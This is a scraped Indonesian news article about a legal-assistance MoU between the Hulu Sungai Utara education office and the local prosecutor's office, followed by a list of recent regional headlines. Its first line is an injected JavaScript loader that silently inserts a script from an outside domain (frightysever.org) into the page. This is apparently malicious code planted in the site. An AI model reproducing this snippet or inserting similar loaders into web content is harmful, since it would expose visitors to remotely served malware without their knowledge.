(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

MoU Pendampingan Hukum Disdik dengan Kejari HSU


KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan kerjasama pelayanan hukum, Dinas Pendidikan Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan Memorandum of Undefstanding (MoU) dengan Kejaksaan Negeri (Kejari) HSU.

Kerjasama kesepakatan bersama penanganan masalah hukum bidang perdata dan tata usaha negara ini, ditandatangi Plt Kepala Disdik HSU H Junaidi Gunawan dengan Kepala Kejari HSU Novan Hadian, Selasa (9/2/2021) di aula kantor Kejari HSU.

“Ini kita lakukan dalam rangka kerjasama antara Dinas Pendidikan Kabupaten HSU dengan Kejaksaan Negeri HSU untuk meningkatkan pelayanan hukum, khususnya berkenaan dengan program dan kegiatan di Dinas Pendidikan HSU. Kemudian yang kedua dalam rangka meningkatkan dan penyediaan hal-hal yang berkenaan dengan hukum,” kata PLT Kadisdik HSU.

Junaidi menambahkan, kerjasama yang terjalin antara Disdik HSU dengan Kejaksaan Negeri HSU telah berlangsung sejak lama.

“Sebelumnya juga memang ada kerjasama yang dilaksanakan oleh Dinas Pendidikan HSU dengan Kejaksaan Negeri HSU oleh pimpinan yang terdahulu,” lanjutnya.

Kerjasama yang dijalin adalah dalam kegiatan pembangunan dan kegiatan yang bersifat fisik dan juga bersifat non fisik.

Diantaranya konsultasi tentang penanganan baik bersifat tata aturan dan ketentuan, maupun nanti penanganan yang bersifat di lapangan berkenaan dengan kegiatan pembangunan maupun rehabilitasi.

Sementara, Kepala Kejaksaan Negeri HSU Novan Hadian menyebut sampai saat ini instansi yang sudah menjalin kerjasama dengan Kejaksaan Negeri HSU sudah ada 6 instansi.

“Yaitu BPN HSU, Rumah Sakit Pembalah Batung, PDAM HSU, Dinas Kesehatan HSU, BNI, dan yang terakhir Dinas Pendidikan HSU,” beber Novan Hadian.

Kendati banyak instansi yang meminta pendampingan hukum, Novan menilai bahwa kegiatan pendampingan hukum ini tidaklah diwajibkan bagi dinas atau instansi.

“Kami membuka pintu kepada pemerintah kabupaten, khususnya dinas yang berkenan meminta pendampingan ataupun memberikan bantuan hukum, ataupun mengajak kami kerjasama dalam hal pemberian bantuan hukum,” ujarnya. (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

14 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

15 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

16 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

19 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

23 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

2 hari ago

This website uses cookies.